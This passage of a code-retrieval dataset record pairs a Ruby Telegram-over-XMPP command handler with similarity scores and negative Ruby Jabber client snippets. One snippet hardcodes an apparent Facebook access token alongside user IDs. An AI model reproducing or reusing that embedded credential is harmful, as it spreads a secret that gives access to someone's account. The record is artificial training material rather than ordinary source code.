"def process_command(id, cmd, args)\n chat, user = self.get_contact(id) unless id == 0 # get chat information\n if id == 0 then # transport commands \n case cmd\n when '/login' then @telegram.set_authentication_phone_number(args[0], PERMISSIONS[:login]).then{@session[:login] = args[0]} unless @session[:login] # sign in\n when '/logout' then @telegram.log_out().then{@cache[:chats].each_key do |chat| @xmpp.send_presence(@jid, chat, :unsubscribed); @session[:login] = nil end} # sign out\n when '/code' then @telegram.check_authentication_code(args[0]) # check auth code \n when '/password' then @telegram.check_authentication_password(args[0]) # chech auth password\n when '/setusername' then @telegram.set_username(args[0] || '') # set @username\n when '/setname' then @telegram.set_name(args[0] || '', args[1] || '') # set My Name\n when '/setbio' then @telegram.set_bio(args[0] || '') # set About\n when '/setpassword' then @telegram.set_password((args[1] ? args[0] : ''), args[1]) # set password\n when '/config' then @xmpp.send_message(@jid, nil, args[1] ? \"%s set to %s\" % [args[0], @session.store(args[0].to_sym, args[1])] : @session.map{|attr| \"%s is set to %s\" % attr}.join(\"\\n\")) \n when '/help' then @xmpp.send_message(@jid, nil, HELP_GATE_CMD)\n end\n return true # stop executing \n else # chat commands\n case cmd\n when '/d' then @telegram.delete_messages(chat.id, self.get_lastmessages(chat.id, nil, @me.id, args[0]||1).map(&:id), true) # delete message\n when '/s' then @telegram.edit_message_text(chat.id, self.get_lastmessages(chat.id, nil, @me.id, 1).first.id, nil, self.process_outgoing_message(nil, args.join(' '))) # edit message\n when '/add' then @telegram.search_public_chat(args[0]).then{|chat| @xmpp.send_presence(@jid, chat.id, :subscribe)}.wait # add @contact \n when '/join' then @telegram.join_chat_by_invite_link(args[0]) # join https://t.me/publichat\n when '/supergroup' then @telegram.create_new_supergroup_chat(args[0], false, args[1..-1].join(' '), nil) # create new supergroup \n when '/channel' then @telegram.create_new_supergroup_chat(args[0], true, args[1..-1].join(' '), nil) # create new channel \n when '/secret' then @telegram.create_new_secret_chat(chat.id) # create secret chat with current user\n when '/group' then @telegram.create_new_basic_group_chat(chat.id, args[0]) # create group chat with current user \n when '/block' then @telegram.block_user(chat.id) # blacklists current user\n when '/unblock' then @telegram.unblock_user(chat.id) # unblacklists current user \n when '/members' then @telegram.search_chat_members(chat.id, args[0], 9999, TD::Types::ChatMembersFilter::Members.new).then{|m| @xmpp.send_message(@jid, chat.id, (m.members.map do |u| \"%s | role: %s\" % [self.format_contact(u.user_id), u.status.class] end).join(\"\\n\")) } # chat members\n when '/invite' then @telegram.add_chat_member(chat.id, self.get_contact(args[0]).first.id, 100) # invite @username to current groupchat \n when '/link' then @telegram.generate_chat_invite_link(chat.id).then{|link| @xmpp.send_message(@jid, chat.id, link.invite_link)} # get link to current chat\n when '/kick' then @telegram.set_chat_member_status(chat.id, self.get_contact(args[0]).first.id, TD::Types::ChatMemberStatus::Left.new()) # kick @username \n when '/mute' then @telegram.set_chat_member_status(chat.id, self.get_contact(args[0]).first.id, TD::Types::ChatMemberStatus::Restricted.new(is_member: true, restricted_until_date: self.format_bantime(args[0]), permissions: PERMISSIONS[:readonly])) # mute @username [n hours]\n when '/unmute' then @telegram.set_chat_member_status(chat.id, self.get_contact(args[0]).first.id, TD::Types::ChatMemberStatus::Restricted.new(is_member: true, restricted_until_date: 0, permissions: PERMISSIONS[:member])) # unmute @username \n when '/ban' then @telegram.set_chat_member_status(chat.id, self.get_contact(args[0]).first.id, TD::Types::ChatMemberStatus::Banned.new(banned_until_date: self.format_bantime(args[0]))) # ban @username [n hours]\n when '/unban' then @telegram.set_chat_member_status(chat.id, self.get_contact(args[0]).first.id, TD::Types::ChatMemberStatus::Member.new()) # unban @username \n when '/promote' then @telegram.set_chat_member_status(chat.id, self.get_contact(args[0]).first.id, TD::Types::ChatMemberStatus::Administrator.new(custom_title: args[0].to_s, **PERMISSIONS[:admin])) # promote @username to admin \n when '/leave' then @telegram.leave_chat(chat.id).then{@xmpp.send_presence(@jid, chat.id, :unsubscribed)} # leave current chat \n when '/leave!' then @telegram.delete_supergroup(chat.type.supergroup_id).then{@xmpp.send_presence(@jid, chat.id, :unsubscribed)}.rescue{|e| puts e.to_s} # leave current chat (for owners) \n when '/ttl' then @telegram.send_chat_set_ttl_message(chat.type.secret_chat_id, args[0].to_i) # close secret chat \n when '/close' then @telegram.close_secret_chat(chat.type.secret_chat_id).then{@xmpp.send_presence(@jid, chat.id, :unsubscribed)} # close secret chat \n when '/delete' then @telegram.delete_chat_history(chat.id, true, true).then{@xmpp.send_presence(@jid, chat.id, :unsubscribed)} # delete current chat \n when '/search' then @telegram.get_messages(chat.id, self.get_lastmessages(chat.id, args[0], 0, args[1]||100).map(&:id)).value.messages.reverse.each{|msg| @xmpp.send_message(@jid, chat.id, self.format_message(chat.id,msg,false))} # message search\n when '/help' then @xmpp.send_message(@jid, id, HELP_CHAT_CMD)\n else return # continue\n end\n return true # stop\n end\n end"
] |
[
"0.6208618",
"0.60723084",
"0.6044663",
"0.5673997",
"0.5603294",
"0.5516772",
"0.54707605",
"0.54035866",
"0.5379775",
"0.52723944",
"0.524005",
"0.51990974",
"0.51974416",
"0.51746136",
"0.5128014",
"0.51215655",
"0.50982296",
"0.50973994",
"0.5076428",
"0.50635064",
"0.5063207",
"0.5051033",
"0.5036176",
"0.50273484",
"0.5020236",
"0.5012554",
"0.49926752",
"0.4987805",
"0.49683404",
"0.49561208",
"0.49560586",
"0.49462676",
"0.4945271",
"0.49211454",
"0.49177167",
"0.49049103",
"0.49022233",
"0.49022233",
"0.49022233",
"0.48974356",
"0.4892023",
"0.48850584",
"0.48835063",
"0.48787016",
"0.48770803",
"0.4876817",
"0.48581615",
"0.48566547",
"0.4840709",
"0.4839972",
"0.48292986",
"0.48276043",
"0.48215252",
"0.48012936",
"0.4797375",
"0.47939345",
"0.47922274",
"0.47904077",
"0.4790261",
"0.47863653",
"0.47787568",
"0.47787568",
"0.47774413",
"0.4775922",
"0.4772204",
"0.4769733",
"0.47631434",
"0.47617626",
"0.47494918",
"0.47439694",
"0.4740391",
"0.47327435",
"0.47225145",
"0.47168544",
"0.4712263",
"0.4710504",
"0.4705278",
"0.47044015",
"0.46962383",
"0.46874934",
"0.46820593",
"0.46773228",
"0.46705052",
"0.46682423",
"0.4658176",
"0.46504247",
"0.46472085",
"0.4643193",
"0.4639182",
"0.4635035",
"0.46347424",
"0.4628273",
"0.4628174",
"0.46250403",
"0.4621563",
"0.46208116",
"0.46157324",
"0.46145505",
"0.4613472",
"0.4611409"
] |
0.7074507
|
0
|
Odrzuca prosbe o subskrypcje wyslana do uzytkownika jid [Jabber::JID] jid uzytkownika do odrzucenia
|
def odrzuc_subskrypcje(jid)
roster.decline_subscription(jid)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def akceptuj_subskrypcje(jid)\n\troster.accept_subscription(jid)\n end",
"def jid; end",
"def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)\n\tkontakty(jid) do |znajomy|\n\t\tunless subskryp? znajomy\n\t\t\tdodaj_do_listy(znajomy.jid)\n\t\t\treturn dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)\n\t\tend\n\t\twiad=Message.new(znajomy.jid)\n\t\twiad.type=typ\n\t\twiad.body=wiadomosc\n\t\twyslij(wiad)\n\tend\n end",
"def usun_z_listy(*jid)\n\tkontakty(*jid) do |usun|\n\t\tusun.usun_subskrypcje\n\t\treq=Iq.new_rosterset\n\t\treq.query.add(Roster::RosterItem.new(usun.jid,nil,:remove))\n\t\twyslij(req)\n\tend\n end",
"def jid=(_arg0); end",
"def jid\n \"#{@username}@#{@domain}\"\n end",
"def jid=(jid)\n unsubscribe[:jid] = jid\n end",
"def jid\n JID.new(unsubscribe[:jid])\n end",
"def jid=(jid)\n subscription_node[:jid] = jid\n end",
"def loguj(jids,haslo)\n\tjid=JID::new(jids)\n\t@klient=Client::new(jid)\n\[email protected]\n\[email protected](haslo)\n\[email protected](Presence.new.set_type(:available))\n\t@wiadomosci_do_wyslania=Queue.new\n\tdef_callback\n\tsleep(1)\n\tThread.new{\n\t\twhile(true)\n\t\t\tnext if @wiadomosci_do_wyslania.length<1\n\t\t\twiadomosci=[@wiadomosci_do_wyslania.pop]\n\t\t\twiadomosci.each{ |wiadomosc|\n\t\t\t\tif subskryp?(JID::new(wiadomosc[:do]))\n\t\t\t\t\twyslij_wiadomosc(wiadomosc[:do],wiadomosc[:wiadomosc],wiadomosc[:typ])\n\t\t\t\telse\n\t\t\t\t\t@wiadomosci_do_wyslania << wiadomosc\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\t}\n end",
"def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)\n\twiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}\n\t@wiadomosci_do_wyslania << wiad\n end",
"def jid=(j)\n attributes['jid'] = (j ? j.to_s : nil)\n end",
"def jid\n JID.new(subscription_node[:jid])\n end",
"def to_s\n jid.to_s\n end",
"def jid\n client.jid\n end",
"def jid=(jid)\n attributes[:jid] = jid\n end",
"def full\n jid.full\n end",
"def jid\n (a = attributes['jid']) ? JID.new(a) : nil\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def play_prog(room_name,msg)\n begin\n @client\n @muc\n\n server = \"jabber.example.com\"\n zid = rand(9999)\n\n @client = Client.new(\"#{server}/#{zid}\")\n# Jabber::debug = true\n @client.connect\n puts @client.supports_anonymous?\n @client.auth_anonymous_sasl\n\n\n @muc = MUC::SimpleMUCClient.new(@client)\n puts \"#{room_name}@conference.#{server}/#{zid}\"\n @muc.join(Jabber::JID.new(\"#{room_name}@conference.#{server}/#{zid}\"))\n\n## tell the tv about the thing\n\n @muc.send(Jabber::Message.new(\"#{room_name}@conference.#{server}/#{zid}\",msg))\n @client.close()\n rescue Exception=>e\n puts e\n puts e.backtrace\n end\n end",
"def jid=(val)\n attributes['jid'] = val.to_s\n end",
"def jid=(val)\n attributes['jid'] = val.nil? ? nil : val.to_s\n end",
"def jid=(val)\n attributes['jid'] = val.nil? ? nil : val.to_s\n end",
"def dodaj_do_listy(*jid)\n\tkontakty(*jid) do |kontakt|\n\t\tnext if subskryp?(kontakt)\n\t\tkontakt.autoryzacja\n\tend\n end",
"def send_message(jid,text)\n m = Jabber::Message.new(jid, text)\n m.set_type :chat\n @client.send m\n end",
"def to_jid(name)\n Blather::JID.new(CGI.escape(name), stream.jid.domain).to_s.downcase\n end",
"def full_jid\n if @resource\n \"#{jid}/#{@resource}\"\n else\n jid\n end\n end",
"def runJabber\n \n i = 0\n while i < 3 do \n begin\n @jbclient = Jabber::Client.new Jabber::JID.new(@@conf[\"jabber_account\"])\n @jbclient.connect(@@xmpp_host, @@xmpp_port)\n @jbclient.auth(@@conf[\"password\"])\n @jbclient.send(Jabber::Presence.new.set_type(:available))\n puts \"Connected to jabber server\" if @jbclient.is_connected?\n \n roster = Jabber::Roster::Helper.new(@jbclient)\n \n roster.add_subscription_request_callback { |item,presence|\n if presence.from == @@visualRESTmain\n roster.accept_subscription(presence.from)\n end\n }\n i = 3\n rescue => exception\n puts \"xmpp \" + exception\n sleep(1)\n i += 1\n end\n end\n \n @jbclient.add_message_callback { |msg|\n if msg != nil and msg.type == :chat and msg.body and msg.from == @@visualRESTmain\n puts \"<#{msg.from}> #{msg.body.strip}\"\n \n cmd, arg = msg.body.split(/ /, 2)\n \n if cmd and @@test_messages\n puts \"CMD: \" + cmd\n end\n if arg and @@test_messages\n puts \"ARG: \" + arg\n end\n command(msg.from, cmd, arg)\n end\n }\nend",
"def message_to_at_user(at_user)\n # return if self.user.id == at_user.id\n message = self.messages.build(\n is_read: false,\n user_id: at_user.id,\n from_user_id: self.user.id,\n body: \"#{self.user.uid} @了你: #{self.content}\"\n )\n message.save\n end",
"def wyslij(wiadomosc)\n\tproba=0\n\tbegin\n\t\tproba+=1\n\t\[email protected](wiadomosc)\n\trescue\n\t\tretry unless proba>3\n\tend\n end",
"def test_password\n jid1 = '[email protected]'\n @client.deliver_message(jid1, '/join #nerds password')\n @chat.wait_until_all_messages_sent\n assert_equal('_Created \"#nerds\"._', @client.shift_message(jid1).body)\n assert_equal('_Joined \"#nerds\" with 1 user total._',\n @client.shift_message(jid1).body)\n assert_equal(nil, @client.shift_message(jid1))\n\n jid2 = '[email protected]'\n @client.deliver_message(jid2, '/join #nerds')\n @chat.wait_until_all_messages_sent\n assert_equal(nil, @client.shift_message(jid1))\n assert_equal('_Incorrect or missing password for \"#nerds\"._',\n @client.shift_message(jid2).body)\n assert_equal(nil, @client.shift_message(jid2))\n\n @client.deliver_message(jid2, '/join #nerds password')\n @chat.wait_until_all_messages_sent\n assert_equal('_*bar* <[email protected]> has joined \"#nerds\"._',\n @client.shift_message(jid1).body)\n assert_equal(nil, @client.shift_message(jid1))\n assert_equal('_Joined \"#nerds\" with 2 users total._',\n @client.shift_message(jid2).body)\n assert_equal(nil, @client.shift_message(jid2))\n end",
"def subscribe(&blk)\n pres = connection.presence_stanza('to'=>jid.bare, 'type' => 'subscribe')\n connection.send_stanza pres, &blk\n end",
"def update_user_from_storage(jid)\n jid = Jabber::JID.new(jid) unless jid.kind_of?(Jabber::JID)\n user = @storage.find_user_by_jid(jid.bare)\n connected_resources(jid.bare).each {|c| c.user.update_from(user) }\n end",
"def jid=(new_jid)\n Blather.logger.debug \"NEW JID: #{new_jid}\"\n @jid = JID.new new_jid\n end",
"def getId jid\n\t\tuser = @users.read [\"id\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['id']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def getNick jid\n\t\tuser = @users.read [\"nick\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['nick']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def initialize(jid)\n super()\n @jid = (jid.kind_of?(JID) ? jid : JID.new(jid.to_s))\n end",
"def mess\r\n\t\t@usr_mess\r\n\tend",
"def update\n respond_to do |format|\n if @openfire_user.update(openfire_user_params)\n format.html { redirect_to @openfire_user, notice:'Le compte openfire a ete mis a jour avec success. Un mail contenant les nouvelles donnees a ete envoye a l\\'adresse mail indiquee' }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def connect\n debug \"setting up.. jid #{base.config[:account_jid]}\" \n cl = Jabber::Client.new(Jabber::JID::new(base.config[:account_jid]))\n @client = cl\n begin\n debug \"connect\"\n cl.connect \n debug \"auth\"\n cl.auth base.config[:account_password]\n # XXX should catch only proper exception types (including Jabber::ClientAuthenticationFailure)\n rescue Exception => ex \n debug \"EX: #{ex.class} \"\n debug ex.backtrace\n @base.auth_failure \n end\n \n @roster = Jabber::Roster::Helper.new cl \n @roster.add_presence_callback do |item,oldpres,pres|\n pres = Jabber::Presence.new unless pres\n oldpres = Jabber::Presence.new unless oldpres \n status = pres.status.to_s\n presence = pres.show || :available\n jid = item.jid\n # XXX unavaliable\n presence = :unavailable if pres.status.to_s == 'unavailable'\n debug \"item #{jid} chaged presence to #{presence} status #{status}\"\n base.item_presence_change(jid.to_s,presence,status)\n end\n \n @base.roster_items = get_roster_items\n\n @client.send Jabber::Presence.new\n \n set_presence\n\n cl.add_message_callback do |m|\n if m.type != :error\n debug \"message received from #{m.from} type #{m.type}\"\n @base.message_received(m.from.to_s,m.body)\n end\n end\n end",
"def update_user_from_storage(jid)\n jid = Jabber::JID.new(jid) unless jid.kind_of?(Jabber::JID)\n user = storage(jid.domain).find_user_by_jid(jid.bare)\n router.connected_resources(jid.bare).each {|c| c.user.update_from(user) }\n end",
"def fbchat\n require 'xmpp4r_facebook'\n reciever_uid = '625109503'\n sender_uid = '100007021091903'\n fbtoken = 'CAAHjh3c3ZAMQBAH9hKVAtmZBKSQ1iDijLTEg7ZBQ7TEFTREMKJGK1g7gqsKaHhL2JfEyw0YeeLUqNweuiPm5wTQ9dk7tgNUuV4uDVwxM7cPdCZBdatCGRVF2wetIx3UwICINOxvY4kwfih9MSv40BIwJdCMfyuMcXMdjsGEAKkU748GQqlT9'\n fb_app_id = Devise.omniauth_configs[:facebook].strategy[:client_id]\n fb_app_secret = Devise.omniauth_configs[:facebook].strategy[:client_secret]\n\n\n id = \"#{sender_uid}@chat.facebook.com\"\n to = \"#{reciever_uid}@chat.facebook.com\"\n body = \"Send from PAGPOS\"\n # subject = 'message from ruby'\n message = Jabber::Message.new to, body\n # message.subject = subject\n begin\n client = Jabber::Client.new Jabber::JID.new(id)\n client.connect\n authorized = Jabber::SASL::XFacebookPlatform.new(client, fb_app_id, fbtoken, fb_app_secret)\n client.auth_sasl(authorized, nil)\n client.send message \n client.close\n return render json: { success: true }\n rescue\n return render json: { success: false, message: 'Cannot authorized maybe your access token expired'}\n end\n end",
"def set_jid(val)\n self.jid = val\n self\n end",
"def update_user(jid, node)\n @publisher.update_user(jid, node)\n end",
"def update_from_gram\n self.synced_with_gram = false\n if self.syncable?\n begin\n gram_data= GramV2Client::Account.find(self.uuid)\n self.email=gram_data.email\n self.firstname=gram_data.firstname\n self.lastname=gram_data.lastname\n self.last_gram_sync_at = Time.now\n self.hruid = gram_data.hruid\n if self.save\n self.synced_with_gram = true\n return self\n else\n return false\n end\n rescue ActiveResource::ResourceNotFound\n logger.error \"[GrAM] Utilisateur introuvable : hruid = #{self.hruid} uuid = #{self.uuid}\"\n return false\n rescue ActiveResource::ServerError\n logger.error \"[GrAM] Connexion au serveur impossible\"\n return false\n rescue ActiveResource::UnauthorizedAccess, ActiveResource::ForbiddenAccess\n logger.error \"[GrAM] Connexion au serveur impossible : verifier identifiants\"\n return false\n end\n else\n return false\n end\n\n end",
"def send_el_msg(pid, msg)\n buffer = $b.clone\n buffer[:type] = \"ELECTION\"\n buffer[:msg] = msg\n\n # najdu dalsi aktivni proces\n succ = next_pid(pid)\n while($processes[succ][:active] != true)\n succ = next_pid(succ)\n end\n\n $processes[succ][:buffer] = buffer\nend",
"def send_test_message_if_changed\n old = User.find(self.id)\n if self.notify_via_jabber? and (old.jabber != self.jabber or !old.notifiable_via_jabber?)\n Notifier.send_test(self)\n self.sent_test_message = true\n end\n end",
"def subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('subscriptions',:node => node_id)\n )\n )\n send_iq_stanza_fibered iq\n end",
"def initialize(client, jid, pass)\n super()\n\n @error = nil\n @receiver = @client = client\n\n self.jid = jid\n @to = self.jid.domain\n @password = pass\n end",
"def motd(subject,&blk)\n msg = connection.message_stanza(:to => jid) do\n x('subject',subject)\n end\n connection.send_stanza msg, &blk\n end",
"def subscribe\n subscribee = connection.jid.bare\n\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('subscribe','node' => node_id, 'jid'=>subscribee)\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def add_user(jid)\n users << jid.to_s.downcase\n users.sort!\n users.uniq!\n end",
"def set_jugadalot\n @jugadalot = Jugadalot.find(params[:id])\n end",
"def connect(settings)\n myJID = JID.new(settings[:jid])\n myPassword = settings[:password]\n cl = Client.new(myJID)\n cl.connect\n cl.auth(myPassword)\n cl.send(Presence.new.set_status('I am GossBot'))\n out \"Connected as: #{myJID.strip.to_s}.\"\n return cl\nend",
"def users_messaged_by\r\n self.users_who_messaged_me\r\n end",
"def users_messaged_by\r\n self.users_who_messaged_me\r\n end",
"def invite(invited_jid,reason=\"no reason\",&blk)\n msg = connection.message_stanza(:to => jid) do\n x('x', 'xmlns' => Namespaces::MucUser) do\n x('invite', 'to' => invited_jid.to_s) do\n x('reason', reason) if reason\n end\n end\n end\n connection.send_stanza msg, &blk\n end",
"def update\n @subject = Subject.find(params[:id])\n if (user_signed_in? && !(@subject.users.include?(current_user)))\n flash[:alert]=\"Nemôžeš sa vymazať z kurzu!\"\n render :action=> \"new\"\n else\n params[:subject][:user_ids] ||= []\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Kurz bol upravený.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n if params[:Titlu] && params[:Catre] && params[:Mesaj]\n #UserMailer.notification_email(User.find(get_current_user.id).email,params[:Catre], params[:Titlu], params[:Mesaj]).deliver\n end\n respond_to do |format|\n if @alegeri_user_tema.update(alegeri_user_tema_params)\n format.html { redirect_to studentiiMei_path, notice: 'Cererea a fost actualizata.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @alegeri_user_tema.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process command, jid\n\t\t# get the jid out of the message\n\t\t# get the message text itself\n\t\t# look up the user role\n\t\trole = 'admin'\n\n\t\t# Switch the commands\n\t\tcase command\n\n\t\t# add user nick [email protected] [email protected]\n\t\twhen /^add user ([a-zA-Z0-9]+) ([a-zA-Z0-9]+\\@{1}([a-zA-Z0-9]*\\.)+([a-zA-Z]+)){1} ([a-zA-Z0-9]+\\@{1}([a-zA-Z0-9]*\\.)+([a-zA-Z]+)){1}/\n\t\t\tvalues = command.split\n\n\t\t\tnick = values[2]\n\t\t\tjid = values[3]\n\t\t\temail = values[4]\n\n\t\t\[email protected] nick, email, jid\n\n\t\t# Add a new project\n\t\twhen /^add pro(ject)? ([a-zA-Z0-9]+) \\\"([a-zA-Z0-9 ]+)\\\" \\\"(.*)\\\"$/\n\t\t\tif role == 'admin'\n\t\t\t\tvalues = command.split \"\\\"\"\n\t\t\t\tvalues.delete_if {|i| i==\" \"}\n\n\t\t\t\tmachinename = values[0].split \" \"\n\t\t\t\tmachinename = machinename[2]\n\t\t\t\ttitle = values[1]\n\t\t\t\tdescription = values[2]\n\n\t\t\t\tadded = @project.add machinename, title, description, nil, nil\n\t\t\t\tif added\n\t\t\t\t\tmsg = \"New project '#{machinename}' has been added\"\n\t\t\t\telse\n\t\t\t\t\tmsg = \"There already is a project with this name.\"\n\t\t\t\tend\n\t\t\t\tmsg\n\t\t\tend\n\n\t\t# Show all projects\n\t\twhen /^pro(jects)?$/\n\t\t\tprojects = @project.getNiceList\n\n\t\t\toutput = \"Projects:\"\n\t\t\tprojects.each do |row|\n\t\t\t\toutput += \"\\n#{row['title']} \\(#{row['machinename']}\\)\\n\"\n\t\t\t\toutput += \"#{row['description']}\\n\"\n\t\t\t\toutput += \"-------------------------------------------\"\n\t\t\tend\n\t\t\toutput = projects.size > 0 ? output : \"There are no projects in the database\"\n\t\t\toutput\n\n\t\t# Delete a project\n\t\twhen /^del(ete)? pro(ject)? ([a-zA-Z0-9]+)$/\n\t\t\tif role == 'admin'\n\t\t\t\tvalues = command.split \" \"\n\t\t\t\tmachinename = values[2]\n\n\t\t\t\tif @project.getId machinename\n\t\t\t\t\[email protected] machinename\n\t\t\t\t\t\"Project '#{machinename}' has been deleted.\"\n\t\t\t\telse\n\t\t\t\t\t\"There is no such project.\"\n\t\t\t\tend\n\t\t\tend\n\n\n\t\t# add tracket machinename \"Some Title\" \"some description text\"\n\t\twhen /^add ([a-zA-Z0-9]+) ([a-zA-Z0-9]+) \\\"([a-zA-Z0-9 ]+)\\\" \\\"(.*)\\\"$/\n\t\t\tvalues = command.split \"\\\"\"\n\t\t\tvalues.delete_if {|i| i == \" \"}\n\n\t\t\tparams = values[0].split \" \"\n\n\t\t\ttracker = params[1]\n\t\t\tmachinename = params[2]\n\t\t\ttitle = values[1]\n\t\t\tdescription = values[2]\n\n\t\t\tpid = @project.getId machinename\n\t\t\tif pid\n\t\t\t\tcid = @user.getId jid\n\n\t\t\t\ttid = @ticket.add pid, title, description, cid, tracker\n\t\t\t\t\"New #{tracker} (##{tid}) has been added to #{machinename}.\"\n\t\t\telse\n\t\t\t\t\"There is no such project.\"\n\t\t\tend\n\n\t\t# show new tickets\n\t\twhen /^n(ew)?$/\n\t\t\ttickets = @ticket.getNew\n\n\t\t\toutput = \"New unassigned tickets:\"\n\t\t\ttickets.each do |ticket|\n\t\t\t\ttid = ticket['id']\n\t\t\t\ttitle = ticket['title']\n\t\t\t\ttracker = ticket['tracker']\n\t\t\t\tpid = ticket['pid']\n\n\t\t\t\tmachinename = @project.getMachinename pid\n\n\t\t\t\toutput += \"\\n##{tid} [#{tracker}] <b>\\\"#{title}\\\"</b> in #{machinename}\"\n\t\t\tend\n\t\t\toutput = tickets.count < 1 ? \"There are no new tickets.\" : output\n\t\t\toutput\n\n\t\twhen /^d(etails)? ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\n\t\t\tif @ticket.exists? tid\n\t\t\t\tticket = @ticket.getDetails tid\n\n\t\t\t\ttid = ticket['id']\n\t\t\t\ttitle = ticket['title']\n\t\t\t\tdescription = ticket['description']\n\t\t\t\ttracker = ticket['tracker']\n\t \t\tcreated = ticket['created']\n\t\t\t\tpid = ticket['pid']\n\t\t\t\tcid = ticket['creator']\n\t\t\t\tstatus = ticket['status']\n\n\t\t\t\tmachinename = @project.getMachinename pid\n\t\t\t\tnick = @user.getNickFromId cid\n\n\t\t\t\toutput = \"Details for ticket ##{tid}:\"\n\t\t\t\toutput += \"\\n| ##{tid} [#{tracker}] \\\"#{title}\\\" in #{machinename} [#{status}]\\n\"\n\t\t\t\toutput += \"| Added by #{nick} on #{created}\\n\"\n\t\t\t\toutput += \"#{description}\"\n\t\t\telse\n\t\t\t\toutput = \"There is no such ticket.\"\n\t\t\tend\n\t\t\toutput\n\n\t\t# assign ticket to yourself\n\t\twhen /^a(ssign )?([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\t\t\tuid = @user.getId jid\n\t\t\tif @ticket.exists? tid\n\t\t\t\t# AND requesting user is maintainer in this project\n\t\t\t\tif [email protected]? tid\n\t\t\t\t\[email protected] tid, uid\n\t\t\t\t\t\"Ticket ##{tid} assigned to yourself.\"\n\t\t\t\telse\n\t\t\t\t\tnick = @user.getNick uid\n\t\t\t\t\t\"This ticket is already assigned to #{nick}\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t\"There is no such ticket.\"\n\t\t\tend\n\n\t\t# Delete ticket by id\n\t\twhen /^del(ete)? ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\t\t\tdeleted = @ticket.delete tid\n\t\t\tif deleted\n\t\t\t\tmsg = \"Ticket ##{tid} has been deleted.\"\n\t\t\telse\n\t\t\t\tmsg = \"There is no such ticket.\"\n\t\t\tend\n\t\t\tmsg\n\n\t\t# Close a ticket\n\t\twhen /^close ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\n\t\t\tif @ticket.exists? tid\n\t\t\t\tclosed = @ticket.updateStatus tid, \"closed\"\n\t\t\t\tmsg = \"Ticked ##{tid} has been closed.\" \n\t\t\telse\n\t\t\t\tmsg = \"There is no such ticket.\"\n\t\t\tend\n\t\t\tmsg\n\n\t\t# update nr status \"Followup text\"\n\t\twhen /^update ([0-9]+) ([a-zA-Z0-9]+) \\\"([a-zA-Z0-9 ]+)\\\"$/\n\t\t\tputs \"updating a ticket\"\n\t\t\t# get the ticket id\n\t\t\t# add a followup to the ticket\n\t\t\t# update the status of the ticket\n\n\t\t# Show the requesting users tickets\n\t\twhen /^m(y)?$/\n\t\t\tuid = @user.getId jid\n\t\t\ttickets = @ticket.getAssigned uid\n\n\t\t\toutput = \"Your tickets:\"\n\t\t\ttickets.each do |ticket|\n\t\t\t\ttid = ticket['id']\n\t\t\t\ttitle = ticket['title']\n\t\t\t\ttracker = ticket['tracker']\n\t\t\t\tstatus = ticket['status']\n\t\t\t\tpid = ticket['pid']\n\n\t\t\t\tmachinename = @project.getMachinename pid\n\n\t\t\t\toutput += \"\\n##{tid} [#{tracker}] <b>\\\"#{title}\\\"</b> in #{machinename} [#{status}]\"\n\t\t\tend\n\t\t\toutput = tickets.count < 1 ? \"You have no tickets assigned.\" : output\n\t\t\toutput\n\n\t\t# Show the requesting users open bugs\n\t\twhen /^m(y )?b(ugs)?$/\n\t\t\tputs \"Show bugs\"\n\n\t\t# Show the requesting users open features\n\t\twhen /^m(y )?f(eatures)?$/\n\t\t\tputs \"Show features\"\n\n\t\t# Set the status of a ticket to in_progress\n\t\twhen /^pro(gress)? ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\n\t\t\tif @ticket.exists? tid\n\t\t\t\tclosed = @ticket.updateStatus tid, \"in_progress\"\n\t\t\t\tmsg = \"Ticked ##{tid} is in progress.\" \n\t\t\telse\n\t\t\t\tmsg = \"There is no such ticket.\"\n\t\t\tend\n\t\t\tmsg\n\n\t\t# Test all methods in the project crud\n\t\twhen /^testpro$/\n\t\t\toutput = \"Testing the project methods: \"\n\n\t\t\t#add\n\t\t\tputs \"Adding new project\"\n\t\t\tid = @project.add 'testauto', 'Automated test', 'This is just an Automated test', nil, nil\n\t\t\toutput += \"\\nNew project added: #{id}\"\n\n\t\t\t#exists?\n\t\t\tputs \"Checking if project exists\"\n\t\t\texists = @project.exists? 'testauto'\n\t\t\toutput += \"\\nProject exists: #{exists}\"\n\n\t\t\t#getid\n\t\t\tputs \"Getting the projects ID\"\n\t\t\tid = @project.getId 'testauto'\n\t\t\toutput += \"\\nThe id is: #{id}\"\n\n\t\t\t#getmachine\n\t\t\tputs \"Getting the projects machinename\"\n\t\t\tmachine = @project.getMachinename id\n\t\t\toutput += \"\\nThe machinename is: #{machine}\"\n\n\t\t\t#list\n\t\t\tputs \"Getting the project 